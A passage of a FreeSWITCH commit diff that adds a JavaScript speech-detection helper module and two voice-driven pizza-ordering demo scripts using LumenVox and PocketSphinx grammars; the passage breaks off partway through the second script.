+/* Constructor for SpeechDetect Class (Class to Detect Speech) */
+function SpeechDetect(session, mod, ip) {
+	this.ip = ip;
+	this.session = session;
+	this.mod = mod;
+	this.grammar_name = undefined;
+	this.grammar_hash = new Array();
+	this.grammar_name = false;
+	this.audio_base = "";
+	this.audio_ext = ".wav";
+	this.tts_eng = false;
+	this.tts_voice = false;
+	this.AutoUnload = false;
+	this.debug = false;
+
+	/* Set the TTS info */
+	this.setTTS = function (tts_eng, tts_voice) {
+		this.tts_eng = tts_eng;
+		this.tts_voice = tts_voice;		
+	}
+
+	/* Set the audio base */
+	this.setAudioBase = function (audio_base) {
+		this.audio_base = audio_base;
+	}
+
+	/* Set the audio extension */
+	this.setAudioExt= function (audio_ext) {
+		this.audio_ext = audio_ext;
+	}
+	
+	/* Add a grammar to be used */
+	this.addGrammar = function(grammar_object) {
+		this.grammar_hash[grammar_object.grammar_name] = grammar_object;
+	}
+
+	/* Play an audio file */
+	this.streamFile = function(str) {
+		var rv;
+		if (!str) {
+			console_log("error", "No file specified!\n");
+			return;
+		}
+		files = str.split(",");
+		for( x = 0; x < files.length; x++) {
+			if (!files[x] || files[x] == "noop") {
+				continue;
+			}
+			this.session.streamFile(this.audio_base + files[x] + this.audio_ext);
+		}
+	}
+
+	/* Speak with TTS */
+	this.speak = function(str) {
+		return this.session.speak(this.tts_eng, this.tts_voice, str);
+	}
+
+	/* Set the current grammar */
+	this.setGrammar = function (grammar_name) {
+		var grammar_object = this.grammar_hash[grammar_name];
+		
+		if (!grammar_object) {
+			console_log("error", "Missing Grammar!\n");
+			return false;
+		}
+
+		if (this.grammar_name) {
+			if (this.AutoUnload) {
+				console_log("debug", "Unloading grammar " + this.grammar_name + "\n");
+				this.session.execute("detect_speech", "nogrammar " + this.grammar_name);
+			}
+			if (grammar_object.path) {
+				this.session.execute("detect_speech", "grammar " + grammar_name + " " + grammar_object.path);
+			} else {
+				this.session.execute("detect_speech", "grammar " + grammar_name);
+			}
+		} else {
+			this.session.execute("detect_speech", this.mod + " " + grammar_name + " " + grammar_object.path + " " + this.ip);
+		}
+
+		this.grammar_name = grammar_name;
+	}
+
+	/* Pause speech detection */
+	this.pause = function() {
+		this.session.execute("detect_speech", "pause");
+	}
+
+	/* Resume speech detection */
+	this.resume = function() {
+		this.session.execute("detect_speech", "resume");
+	}
+
+	/* Stop speech detection */
+	this.stop = function() {
+		this.session.execute("detect_speech", "stop");
+	}
+
+	/* Callback function for streaming,TTS or bridged calls */
+	this.onInput = function(s, type, inputEvent, _this) {
+	    try {
+			if (type == "event") {
+				var speech_type = inputEvent.getHeader("Speech-Type");
+				var rv = new Array();
+		
+				if (!_this.grammar_name) {
+					console_log("error", "No Grammar name!\n");
+					_this.session.hangup();
+					return false;
+				}
+		
+				var grammar_object = _this.grammar_hash[_this.grammar_name];
+		
+				if (!grammar_object) {
+					console_log("error", "Can't find grammar for " + _this.grammar_name + "\n");
+					_this.session.hangup();
+					return false;
+				}
+		
+				if (speech_type == "begin-speaking") {
+					if (grammar_object.halt) {
+						return false;
+					}
+				} else {
+					var body = inputEvent.getBody();
+					var result;
+					var xml;
+
+					body = body.replace(/<\?.*?\?>/g, ''); 
+					xml = new XML("<xml>" + body + "</xml>"); 
+					result = xml.result;
+					
+					_this.lastDetect = body;
+		  
+					if (_this.debug) {
+						console_log("debug", "----XML:\n" + body + "\n");
+						console_log("debug", "----Heard [" + result.interpretation.input + "]\n");
+						console_log("debug", "----Hit score " + result.interpretation.@confidence + "/" + 
+									grammar_object.min_score + "/" + grammar_object.confirm_score + "\n");
+					}
+		  
+					if (result.interpretation.@confidence >= grammar_object.min_score) {
+						if (result.interpretation.@confidence < grammar_object.confirm_score) {
+							rv.push("_confirm_");
+						}
+		    
+						eval("xo = " + grammar_object.obj_path + ";");
+						for (x = 0; x < xo.length(); x++) {
+							rv.push(xo[x]);
+							console_log("info", "----" +xo[x] + "\n"); 
+						}
+					} else {
+						rv.push("_no_idea_");
+					}
+		  
+				}
+				delete interp;
+				return rv;
+			}
+	    }
+
+		catch(err) {
+			console_log("crit", "----ERROR:\n" + err + "\n");
+		}
+	}
+}  
+
+/* Constructor for SpeechObtainer Class (Class to collect data from a SpeechDetect Class) */
+function SpeechObtainer(asr, req, wait_time) {
+
+	this.items = new Array();
+	this.collected_items = new Array();
+	this.index = 0;
+	this.collected_index = 0;
+	this.req = req;
+	this.tts_eng = undefined;
+	this.tts_voice = false;
+	this.asr = asr;
+	this.top_sound = false;
+	this.add_sound = false;
+	this.dup_sound = false;
+	this.bad_sound = false;
+	this.needConfirm = false;
+	this.grammar_name = false;
+	this.audio_base = asr.audio_base;
+	this.audio_ext = asr.audio_ext;
+	this.tts_eng = asr.tts_eng;
+	this.tts_voice = asr.tts_voice;
+	this.debug = asr.debug;
+
+	if (!req) {
+		req = 1;
+	}
+
+	if (!wait_time) { 
+		wait_time = 5000;
+	}
+
+	this.waitTime = wait_time + 0;
+
+	/* Set the TTS info */
+	this.setTTS = function (tts_eng, tts_voice) {
+		this.tts_eng = tts_eng;
+		this.tts_voice = tts_voice;		
+	}
+
+	/* Set the audio base */
+	this.setAudioBase = function (audio_base) {
+		this.audio_base = audio_base;
+	}
+
+	/* Set the audio extension */
+	this.setAudioExt= function (audio_ext) {
+		this.audio_ext = audio_ext;
+	}
+
+	/* Set the grammar to use */
+	this.setGrammar = function (grammar_name, path, obj_path, min_score, confirm_score, halt) {
+		var grammar_object = new Grammar(grammar_name, path, obj_path, min_score, confirm_score, halt);
+		this.asr.addGrammar(grammar_object);
+		this.grammar_name = grammar_name;
+	}
+
+	/* Set the top audio file or tts for the collection */
+	this.setTopSound = function (top_sound) {
+		this.top_sound = top_sound;		
+	}
+
+	/* Set the audio file or tts for misunderstood input */
+	this.setBadSound = function (bad_sound) {
+		this.bad_sound = bad_sound;		
+	}
+
+	/* Set the audio file or tts for duplicate input */
+	this.setDupSound = function (dup_sound) {
+		this.dup_sound = dup_sound;		
+	}
+
+	/* Set the audio file or tts for accepted input */
+	this.setAddSound = function (add_sound) {
+		this.add_sound = add_sound;		
+	}
+
+	/* Add acceptable items (comma sep list) */
+	this.addItem = function(item) {
+		ia = item.split(",");
+		var x;
+		for (x = 0; x < ia.length; x++) {
+			this.items[this.index++] = ia[x];
+		}
+	}
+
+	this.addItemAlias = function(item,alias) {
+		ia = item.split(",");
+		var x;
+		for (x = 0; x < ia.length; x++) {
+			this.items[this.index++] = ia[x]  + ":::" + alias;
+		}
+	}
+
+	/* Add a regex */
+	this.addRegEx = function(item) {
+		this.items[this.index++] = item;
+	}
+
+	/* Reset the object and delete all collect items */
+	this.reset = function() {
+		this.collected_index = 0;
+		delete this.collected_items;
+		this.collected_items = new Array();
+	}
+
+	/* Stream a file, collecting input */
+	this.streamFile = function(str) {
+		var rv;
+		if (!str) {
+			console_log("error", "No file specified!\n");
+			return;
+		}
+		files = str.split(",");
+		for( x = 0; x < files.length; x++) {
+			if (!files[x] || files[x] == "noop") {
+				continue;
+			}
+			rv = this.asr.session.streamFile(this.audio_base + files[x] + this.audio_ext , this.asr.onInput, this.asr);
+			if (rv) {
+				break;
+			}
+		}
+
+		return rv;
+	}
+
+	/* Speak some text, collecting input */
+	this.speak = function(str) {
+		return this.asr.session.speak(this.tts_eng, this.tts_voice, str, this.asr.onInput, this.asr);
+	}
+
+	/* Process collected input */
+	this.react = function(say_str, play_str) {
+		var rv;
+
+
+		if (!rv) {
+			rv = this.asr.session.collectInput(this.asr.onInput, this.asr, 500);
+		}
+		if (!rv) {
+			this.asr.resume();
+			if (this.tts_eng && this.tts_voice) {
+				rv = this.speak(say_str);
+			} else {
+				rv = this.streamFile(play_str);
+			}
+		}
+
+		if (!rv) {
+			rv = this.asr.session.collectInput(this.asr.onInput, this.asr, 500);
+		}
+		
+		if (rv && !rv[0]) {
+			rv = false;
+		}
+
+		return rv;
+	}
+
+	/* Collect input */
+	this.run = function() {
+		var rv;
+		var hit;
+		var dup;
+
+		if (this.collected_index) {
+			this.reset();
+		}
+		
+		if (!this.grammar_name) {
+			console_log("error", "No Grammar name!\n");
+			this.session.hangup();
+			return false;
+		}
+
+		this.asr.setGrammar(this.grammar_name);
+
+		while(this.asr.session.ready() && this.collected_index < this.req) {
+			var x;
+			this.needConfirm = false;
+			if (!rv) {
+				rv = this.react(this.top_sound, this.top_sound);
+			}
+			if (!rv) {
+				this.asr.resume();
+				rv = this.asr.session.collectInput(this.asr.onInput, this.asr, this.waitTime);
+			}
+			hit = false;
+			if (rv) {
+				var items = rv;
+				rv = undefined;
+				for (y = 0; y < items.length; y++) {
+					if (items[y] == "_no_idea_") {
+						if (this.debug) {
+							console_log("debug", "----We don't understand this\n");
+						}
+						break;
+					}
+					if (items[y] == "_confirm_") {
+						this.needConfirm = true;
+						if (this.debug) {
+							console_log("debug", "----We need to confirm this one\n");
+						}
+						continue;
+					}
+					
+					for(x = 0 ; x < this.index; x++) {
+						if (this.debug) {
+							console_log("debug", "----Testing [" + y + "] [" + x + "] " + items[y] + " =~ [" + this.items[x] + "]\n");
+						}
+						str = this.items[x];
+						
+						ab = str.split(":::");
+
+						var re = new RegExp(ab[0], "i");
+						match = re.exec(items[y]);
+
+						if (match) {
+							
+							for (i = 0; i < match.length; i++) {
+								if (ab.length == 1) {
+									rep = match[i];
+								} else {
+									rep = ab[1];
+								}
+
+								dup = false;
+								for(z = 0; z < this.collected_items.length; z++) {
+									if (this.collected_items[z] == rep) {
+										dup = true;
+										break;
+									}
+								}
+								if (dup) {
+									if (this.dup_sound) {
+										rv = this.react(this.dup_sound + " " + rep, this.dup_sound + "," + rep);
+									}
+								} else {
+									if (this.debug) {
+										console_log("debug", "----Adding " + rep + "\n");
+									}
+									this.collected_items[this.collected_index++] = rep;
+									hit = true;
+									if (this.add_sound) {
+										rv = this.react(this.add_sound + " " + rep, this.add_sound + "," + rep);
+									}
+								}
+							}
+						}
+					}
+				}
+			}
+
+			if (!rv) {
+				rv = this.asr.session.collectInput(this.asr.onInput, this.asr, 1000);
+			}
+
+			if (!rv && !hit && !dup) {
+				rv = this.react(this.bad_sound, this.bad_sound);
+			}
+		}
+
+		return this.collected_items;
+
+	}
+}

Deleted: freeswitch/branches/seven/scripts/javascript/pizza.js

Copied: freeswitch/branches/seven/scripts/javascript/pizza.js (from rev 14471, freeswitch/trunk/scripts/javascript/pizza.js) (0 => 14472)


--- freeswitch/branches/seven/scripts/javascript/pizza.js	                        (rev 0)
+++ freeswitch/branches/seven/scripts/javascript/pizza.js	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,319 @@
+/* 
+ * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
+ * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ *
+ * Version: MPL 1.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
+ *
+ * The Initial Developer of the Original Code is
+ * Anthony Minessale II <anthmct@yahoo.com>
+ * Portions created by the Initial Developer are Copyright (C)
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s):
+ * 
+ * Anthony Minessale II <anthmct@yahoo.com>
+ *
+ *
+ * pizza.js ASR Demonstration Application
+ *
+ */
+include("js_modules/SpeechTools.jm");
+
+function on_dtmf(a, b, c) {}
+
+var dft_min = 100;
+var dft_confirm = 600;
+
+/***************** Initialize The Speech Detector  *****************/
+var asr = new SpeechDetect(session, "lumenvox", "127.0.0.1");
+
+/***************** Be more verbose *****************/
+asr.debug = 1;
+
+/***************** Set audio params *****************/
+asr.setAudioBase("/root/pizza/");
+asr.setAudioExt(".wav");
+
+/***************** Unload the last grammar whenever we activate a new one *****************/
+asr.AutoUnload = true;
+
+/***************** Create And Configure The Pizza *****************/
+var pizza = new Object();
+
+/***************** Delivery Or Take-Out? *****************/
+pizza.orderObtainer = new SpeechObtainer(asr, 1, 5000);
+pizza.orderObtainer.setGrammar("order", "pizza/order.gram", "result", dft_min, dft_confirm, true);
+pizza.orderObtainer.setTopSound("GP-DeliveryorTakeout");
+pizza.orderObtainer.setBadSound("GP-NoDeliveryorTake-out");
+pizza.orderObtainer.addItem("Delivery,Pickup");
+
+/***************** What Size? *****************/
+pizza.sizeObtainer = new SpeechObtainer(asr, 1, 5000);
+pizza.sizeObtainer.setGrammar("size", "pizza/size.gram", "result", dft_min, dft_confirm, true);
+pizza.sizeObtainer.setTopSound("GP-Size");
+pizza.sizeObtainer.setBadSound("GP-NI");
+pizza.sizeObtainer.addItem("ExtraLarge,Large,Medium,Small,TotallyHumongous");
+
+/***************** What Type Of Crust? *****************/
+pizza.crustObtainer = new SpeechObtainer(asr, 1, 5000);
+pizza.crustObtainer.setGrammar("crust", "pizza/crust.gram", "result", dft_min, dft_confirm, true);
+pizza.crustObtainer.setTopSound("GP-Crust");
+pizza.crustObtainer.setBadSound("GP-NI");
+pizza.crustObtainer.addItem("HandTossed,Pan,Thin");
+
+/***************** Specialty Or Custom? *****************/
+pizza.specialtyObtainer = new SpeechObtainer(asr, 1, 5000);
+pizza.specialtyObtainer.setGrammar("specialty", "pizza/specialty.gram", "result", dft_min, dft_confirm, true);
+pizza.specialtyObtainer.setTopSound("GP-SpecialtyList");
+pizza.specialtyObtainer.setBadSound("GP-NI");
+pizza.specialtyObtainer.addItem("Hawaiian,MeatLovers,Pickle,Dali,Vegetarian");
+
+/***************** Which Specialty? *****************/
+pizza.typeObtainer = new SpeechObtainer(asr, 1, 5000);
+pizza.typeObtainer.setGrammar("type", "pizza/specialtyorcustom.gram", "result", dft_min, dft_confirm, true);
+pizza.typeObtainer.setTopSound("GP-SpecialtyorCustom");
+pizza.typeObtainer.setBadSound("GP-NI");
+pizza.typeObtainer.addItem("Specialty,Custom");
+
+/***************** What Toppings? *****************/
+pizza.toppingsObtainer = new SpeechObtainer(asr, 1, 5000);
+pizza.toppingsObtainer.setGrammar("toppings", "pizza/pizza.gram", "result.toppinglist.ingredient", dft_min, 400, true);
+pizza.toppingsObtainer.setTopSound("GP-Toppings");
+pizza.toppingsObtainer.setBadSound("GP-NI");
+pizza.toppingsObtainer.addItem("anchovie,artichoke,canadianbacon,everything,extracheese,garlic,goatcheese,bellpepper");
+pizza.toppingsObtainer.addItem("mango,mushroom,olives,onions,pepperoni,pickle,pineapple,salami,sausage,shrimp,spinach,ham");
+
+/***************** Change Delivery Or Size Or Crust, Add/Rem Toppings Or Start Over  *****************/
+pizza.arsoObtainer = new SpeechObtainer(asr, 1, 5000);
+pizza.arsoObtainer.setGrammar("arso", "pizza/arso.gram", "result", 500, 250, true);
+pizza.arsoObtainer.setTopSound("GP-ARSO");
+pizza.arsoObtainer.setBadSound("GP-NI");
+pizza.arsoObtainer.addItem("delivery,size,crust,startover,add_topping,rem_topping");
+
+/***************** Yes? No? Maybe So?  *****************/
+pizza.yesnoObtainer = new SpeechObtainer(asr, 1, 5000);
+pizza.yesnoObtainer.setGrammar("yesno", "pizza/yesno.gram", "result", 500, 250, true);
+pizza.yesnoObtainer.setBadSound("GP-NI");
+pizza.yesnoObtainer.addItem("yes,no");
+
+/***************** Get Some Information *****************/
+pizza.get = function(params, confirm) {
+	for(;;) {
+		if (!session.ready()) {
+			return false;
+		}
+		var main_items = params.run();
+		if (confirm && params.needConfirm) {
+			pizza.yesnoObtainer.setTopSound("Confirm" + main_items[0]);
+			var items = pizza.yesnoObtainer.run();
+			if (items[0] == "yes") {
+				break;
+			}
+		} else {
+			break;
+		}
+	}
+
+	return main_items;
+};
+
+/***************** Is This Right? *****************/
+pizza.check = function () {
+	if (!session.ready()) {
+		return false;
+	}
+	asr.streamFile("GP-You_ordered_a");
+	asr.streamFile(pizza.size);
+	asr.streamFile(pizza.crust);
+	if (pizza.type == "Specialty") {
+		asr.streamFile(pizza.specialty);
+		asr.streamFile("pizza");
+	} else {
+		asr.streamFile("pizza");
+		asr.streamFile("GP-With");
+		for (key in pizza.toppings) {
+			if (pizza.toppings[key] == "add") {
+				asr.streamFile(key);
+			}
+		}
+
+	}
+
+	pizza.yesnoObtainer.setTopSound("GP-WasThisRight");
+	items = pizza.yesnoObtainer.run();
+	return items[0] == "yes" ? true : false;
+};
+
+/***************** Let's Remove The Toppings *****************/
+pizza.clearToppings = function() {
+	if (!session.ready()) {
+		return false;
+	}
+	if (pizza.toppings) {
+		delete pizza.toppings;
+	}
+	pizza.have_toppings = false;
+	pizza.toppings = new Array();
+}
+
+/***************** Clean Slate *****************/
+pizza.init = function() {
+	if (!session.ready()) {
+		return false;
+	}
+	pizza.add_rem = "add";
+	pizza.order = pizza.size = pizza.crust = pizza.type = false;
+	pizza.toppingsObtainer.setTopSound("GP-Toppings");
+	pizza.specialty = false;
+	pizza.clearToppings();
+	pizza.said_greet = false;
+}
+
+/***************** Welcome! *****************/
+pizza.greet = function () {
+	if (!session.ready()) {
+		return false;
+	}
+	if (!pizza.said_greet) {
+		asr.streamFile("GP-Greeting");
+		pizza.said_greet = true;
+	}
+};
+
+/***************** Collect Order Type *****************/
+pizza.getOrder = function() {
+	if (!session.ready()) {
+		return false;
+	}
+	if (!pizza.order) {
+		var items = pizza.get(pizza.orderObtainer, true);
+		pizza.order = items[0];
+	}
+};
+
+/***************** Collect Size *****************/
+pizza.getSize = function() {
+	if (!session.ready()) {
+		return false;
+	}
+	if (!pizza.size) {
+		var items = pizza.get(pizza.sizeObtainer, true);
+		pizza.size = items[0]; 
+	}
+};
+
+/***************** Collect Crust *****************/
+pizza.getCrust = function() {
+	if (!session.ready()) {
+		return false;
+	}
+	if (!pizza.crust) {
+		var items = pizza.get(pizza.crustObtainer, true);
+		pizza.crust = items[0];
+	}
+};
+
+/***************** Collect Pizza Type *****************/
+pizza.getType = function() {
+	if (!session.ready()) {
+		return false;
+	}
+	if (!pizza.type) {
+		var items = pizza.get(pizza.typeObtainer, true);
+		pizza.type = items[0]; 
+	}
+};
+	
+/***************** Collect Toppings *****************/
+pizza.getToppings = function() {
+	if (!session.ready()) {
+		return false;
+	}
+	if (pizza.type == "Specialty" && !pizza.specialty) {
+		var items = pizza.get(pizza.specialtyObtainer, true);
+		pizza.specialty = items[0];
+		pizza.have_toppings = true;
+	} else if (!pizza.have_toppings) {
+		toppings = pizza.get(pizza.toppingsObtainer, false);
+		for(x = 0; x < toppings.length; x++) {
+			pizza.toppings[toppings[x]] = pizza.add_rem;
+		}
+		pizza.have_toppings = true;
+	}
+};
+
+/***************** Modify Pizza If You Don't Like It *****************/
+pizza.fix = function() {
+	if (!session.ready()) {
+		return false;
+	}
+	asr.streamFile("GP-Wanted-No");
+	arso = pizza.get(pizza.arsoObtainer, false);
+	for (x = 0; x < arso.length; x++) {
+		if (arso[x] == "delivery") {
+			pizza.order = false;
+		} else if (arso[x] == "size") {
+			pizza.size = false;
+		} else if (arso[x] == "crust") {
+			pizza.crust = false;
+		} else if (arso[x] == "startover") {
+			pizza.init();
+		} else {
+			if (pizza.type == "Specialty") {
+				asr.streamFile("GP-ChangeSpec");
+				pizza.type = false;
+				pizza.clearToppings();
+			} else {
+				pizza.have_toppings = false;
+				if (arso[x] == "add_topping") {
+					pizza.add_rem = "add";
+					pizza.toppingsObtainer.setTopSound("GP-Adding");
+				} else {
+					pizza.add_rem = "rem";
+					pizza.toppingsObtainer.setTopSound("GP-Remove");
+				}
+			}
+		}
+	}
+};
+
+/***************** Tie It All Together *****************/
+pizza.run = function() {
+	pizza.init();
+	
+	for(;;) {
+		if (!session.ready()) {
+			break;
+		}
+		pizza.greet();
+		pizza.getOrder();
+		pizza.getSize();
+		pizza.getCrust();
+		pizza.getType();
+		pizza.getToppings();
+
+		if (pizza.check()) {
+			asr.streamFile(pizza.order);
+			break;
+		} else {
+			pizza.fix();
+		}
+	}
+};
+
+/***************** Begin Program *****************/
+session.answer();
+pizza.run();
+asr.stop();

Deleted: freeswitch/branches/seven/scripts/javascript/ps_pizza.js

Copied: freeswitch/branches/seven/scripts/javascript/ps_pizza.js (from rev 14471, freeswitch/trunk/scripts/javascript/ps_pizza.js) (0 => 14472)


--- freeswitch/branches/seven/scripts/javascript/ps_pizza.js	                        (rev 0)
+++ freeswitch/branches/seven/scripts/javascript/ps_pizza.js	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,358 @@
+/* 
+ * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
+ * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ *
+ * Version: MPL 1.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
+ *
+ * The Initial Developer of the Original Code is
+ * Anthony Minessale II <anthmct@yahoo.com>
+ * Portions created by the Initial Developer are Copyright (C)
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s):
+ * 
+ * Anthony Minessale II <anthmct@yahoo.com>
+ *
+ *
+ * pizza.js ASR Demonstration Application
+ *
+ */
+include("js_modules/SpeechTools.jm");
+
+function on_dtmf(a, b, c) {}
+
+var dft_min = 40;
+var dft_confirm = 70;
+
+/***************** Initialize The Speech Detector  *****************/
+var asr = new SpeechDetect(session, "pocketsphinx");
+
+/***************** Be more verbose *****************/
+asr.debug = 1;
+
+/***************** Set audio params *****************/
+asr.setAudioBase("/root/pizza/");
+asr.setAudioExt(".wav");
+
+/***************** Unload the last grammar whenever we activate a new one *****************/
+asr.AutoUnload = true;
+
+/***************** Create And Configure The Pizza *****************/
+var pizza = new Object();
+
+/***************** Delivery Or Take-Out? *****************/
+pizza.orderObtainer = new SpeechObtainer(asr, 1, 5000);
+pizza.orderObtainer.setGrammar("pizza_order", "", "result.interpretation.input", dft_min, dft_confirm, true);
+pizza.orderObtainer.setTopSound("GP-DeliveryorTakeout");
+pizza.orderObtainer.setBadSound("GP-NoDeliveryorTake-out");
+pizza.orderObtainer.addItemAlias("Delivery", "Delivery");
+pizza.orderObtainer.addItemAlias("Takeout,Pickup", "Pickup");
+
+/***************** What Size? *****************/
+pizza.sizeObtainer = new SpeechObtainer(asr, 1, 5000);
+pizza.sizeObtainer.setGrammar("pizza_size", "", "result.interpretation.input", dft_min, dft_confirm, true);
+pizza.sizeObtainer.setTopSound("GP-Size");
+pizza.sizeObtainer.setBadSound("GP-NI");
+pizza.sizeObtainer.addItemAlias("^Extra\\s*Large", "ExtraLarge");
+pizza.sizeObtainer.addItemAlias("^Large$", "Large");
+pizza.sizeObtainer.addItemAlias("^Medium$", "Medium");
+pizza.sizeObtainer.addItemAlias("^Small$", "Small");
+pizza.sizeObtainer.addItemAlias("^Humongous$,^Huge$,^Totally\\s*Humongous$,^Totally", "TotallyHumongous");
+
+/***************** What Type Of Crust? *****************/
+pizza.crustObtainer = new SpeechObtainer(asr, 1, 5000);
+pizza.crustObtainer.setGrammar("pizza_crust", "", "result.interpretation.input", dft_min, dft_confirm, true);
+pizza.crustObtainer.setTopSound("GP-Crust");
+pizza.crustObtainer.setBadSound("GP-NI");
+pizza.crustObtainer.addItemAlias("^Hand\\s*Tossed$,^Tossed$", "HandTossed");
+pizza.crustObtainer.addItemAlias("^Chicago\\s*style$,^Chicago$", "Pan");
+pizza.crustObtainer.addItemAlias("^Deep,^Pan,^Baked", "Pan");
+pizza.crustObtainer.addItemAlias("^New\\s*York,^Thin", "Thin");
+
+/***************** Specialty Or Custom? *****************/
+pizza.typeObtainer = new SpeechObtainer(asr, 1, 5000);
+pizza.typeObtainer.setGrammar("pizza_type", "", "result.interpretation.input", dft_min, dft_confirm, true);
+pizza.typeObtainer.setTopSound("GP-SpecialtyorCustom");
+pizza.typeObtainer.setBadSound("GP-NI");
+pizza.typeObtainer.addItemAlias("^Specialty$,^Specialty\\s*pizza$", "Specialty");
+pizza.typeObtainer.addItemAlias("^pick", "Custom");
+
+
+/***************** Which Specialty? *****************/
+pizza.specialtyObtainer = new SpeechObtainer(asr, 1, 5000);
+pizza.specialtyObtainer.setGrammar("pizza_specialty", "", "result.interpretation.input", dft_min, dft_confirm, true);
+pizza.specialtyObtainer.setTopSound("GP-SpecialtyList");
+pizza.specialtyObtainer.setBadSound("GP-NI");
+pizza.specialtyObtainer.addItemAlias("^Hawaii,^Hawaiian", "Hawaiian");
+pizza.specialtyObtainer.addItemAlias("^Meat", "MeatLovers");
+pizza.specialtyObtainer.addItemAlias("Pickle,^World", "Pickle");
+pizza.specialtyObtainer.addItemAlias("^Salvador,^Dolly,^Dali", "Dali");
+pizza.specialtyObtainer.addItemAlias("^Veg", "Vegetarian");
+
+
+/***************** What Toppings? *****************/
+pizza.toppingsObtainer = new SpeechObtainer(asr, 1, 5000);
+pizza.toppingsObtainer.setGrammar("pizza_toppings", "", "result.interpretation.input", dft_min, dft_confirm, true);
+pizza.toppingsObtainer.setTopSound("GP-Toppings");
+pizza.toppingsObtainer.setBadSound("GP-NI");
+pizza.toppingsObtainer.addItemAlias("anchovie,anchovies", "anchovies");
+pizza.toppingsObtainer.addItemAlias("artichoke,artichockes", "artichoke");
+pizza.toppingsObtainer.addItemAlias("canadian\\s*bacon", "canadianbacon");
+pizza.toppingsObtainer.addItemAlias("everything", "everything");
+pizza.toppingsObtainer.addItemAlias("extra\\s*cheese", "extracheese");
+pizza.toppingsObtainer.addItemAlias("garlic", "garlic");
+pizza.toppingsObtainer.addItemAlias("goat\\s*cheese", "goatcheese");
+pizza.toppingsObtainer.addItemAlias("bell\\s*pepper,bell\\s*peppers", "bellpepper");
+pizza.toppingsObtainer.addItemAlias("mango", "mango");
+pizza.toppingsObtainer.addItemAlias("mushroom,mushrooms", "mushroom");
+pizza.toppingsObtainer.addItemAlias("olives", "olives");
+pizza.toppingsObtainer.addItemAlias("onion,onions", "onions");
+pizza.toppingsObtainer.addItemAlias("pepperoni", "pepperoni");
+pizza.toppingsObtainer.addItemAlias("pickle,pickles", "pickle");
+pizza.toppingsObtainer.addItemAlias("pineapple", "pineapple");
+pizza.toppingsObtainer.addItemAlias("salami", "salami");
+pizza.toppingsObtainer.addItemAlias("sausage", "sausage");
+pizza.toppingsObtainer.addItemAlias("shrimp", "shrimp");
+pizza.toppingsObtainer.addItemAlias("spinich", "spinich");
+pizza.toppingsObtainer.addItemAlias("ham", "ham");
+
+/***************** Change Delivery Or Size Or Crust, Add/Rem Toppings Or Start Over  *****************/
+pizza.arsoObtainer = new SpeechObtainer(asr, 1, 5000);
+pizza.arsoObtainer.setGrammar("pizza_arso", "", "result.interpretation.input", dft_min, 50, true);
+pizza.arsoObtainer.setTopSound("GP-ARSO");
+pizza.arsoObtainer.setBadSound("GP-NI");
+pizza.arsoObtainer.addItemAlias("^delivery$", "delivery");
+pizza.arsoObtainer.addItemAlias("^size$", "size");
+pizza.arsoObtainer.addItemAlias("^crust$", "crust");
+pizza.arsoObtainer.addItemAlias("^start\\s*over$", "startover");
+pizza.arsoObtainer.addItemAlias("^add\\s*", "add_topping");
+pizza.arsoObtainer.addItemAlias("^remove\\s*", "rem_topping");
+
+/***************** Yes? No? Maybe So?  *****************/
+pizza.yesnoObtainer = new SpeechObtainer(asr, 1, 5000);
+pizza.yesnoObtainer.setGrammar("pizza_yesno", "", "result.interpretation.input", dft_min, 20, true);
+pizza.yesnoObtainer.setBadSound("GP-NI");
+pizza.yesnoObtainer.addItemAlias("^yes,^correct", "yes");
+pizza.yesnoObtainer.addItemAlias("^no", "no");
+
+/***************** Get Some Information *****************/
+pizza.get = function(params, confirm) {
+	for(;;) {
+		if (!session.ready()) {
+			return false;
+		}
+		var main_items = params.run();
+		if (confirm && params.needConfirm) {
+			pizza.yesnoObtainer.setTopSound("Confirm" + main_items[0]);
+			var items = pizza.yesnoObtainer.run();
+			if (items[0] == "yes") {
+				break;
+			}
+		} else {
+			break;
+		}
+	}
+
+	return main_items;
+};
+
+/***************** Is This Right? *****************/
+pizza.check = function () {
+	if (!session.ready()) {
+		return false;
+	}
+	asr.streamFile("GP-You_ordered_a");
+	asr.streamFile(pizza.size);
+	asr.streamFile(pizza.crust);
+	if (pizza.type == "Specialty") {
+		asr.streamFile(pizza.specialty);
+		asr.streamFile("pizza");
+	} else {
+		asr.streamFile("pizza");
+		asr.streamFile("GP-With");
+		for (key in pizza.toppings) {
+			if (pizza.toppings[key] == "add") {
+				asr.streamFile(key);
+			}
+		}
+
+	}
+
+	pizza.yesnoObtainer.setTopSound("GP-WasThisRight");
+	items = pizza.yesnoObtainer.run();
+	return items[0] == "yes" ? true : false;
+};
+
+/***************** Let's Remove The Toppings *****************/
+pizza.clearToppings = function() {
+	if (!session.ready()) {
+		return false;
+	}
+	if (pizza.toppings) {
+		delete pizza.toppings;
+	}
+	pizza.have_toppings = false;
+	pizza.toppings = new Array();
+}
+
+/***************** Clean Slate *****************/
+pizza.init = function() {
+	if (!session.ready()) {
+		return false;
+	}
+	pizza.add_rem = "add";
+	pizza.order = pizza.size = pizza.crust = pizza.type = false;
+	pizza.toppingsObtainer.setTopSound("GP-Toppings");
+	pizza.specialty = false;
+	pizza.clearToppings();
+	pizza.said_greet = false;
+}
+
+/***************** Welcome! *****************/
+pizza.greet = function () {
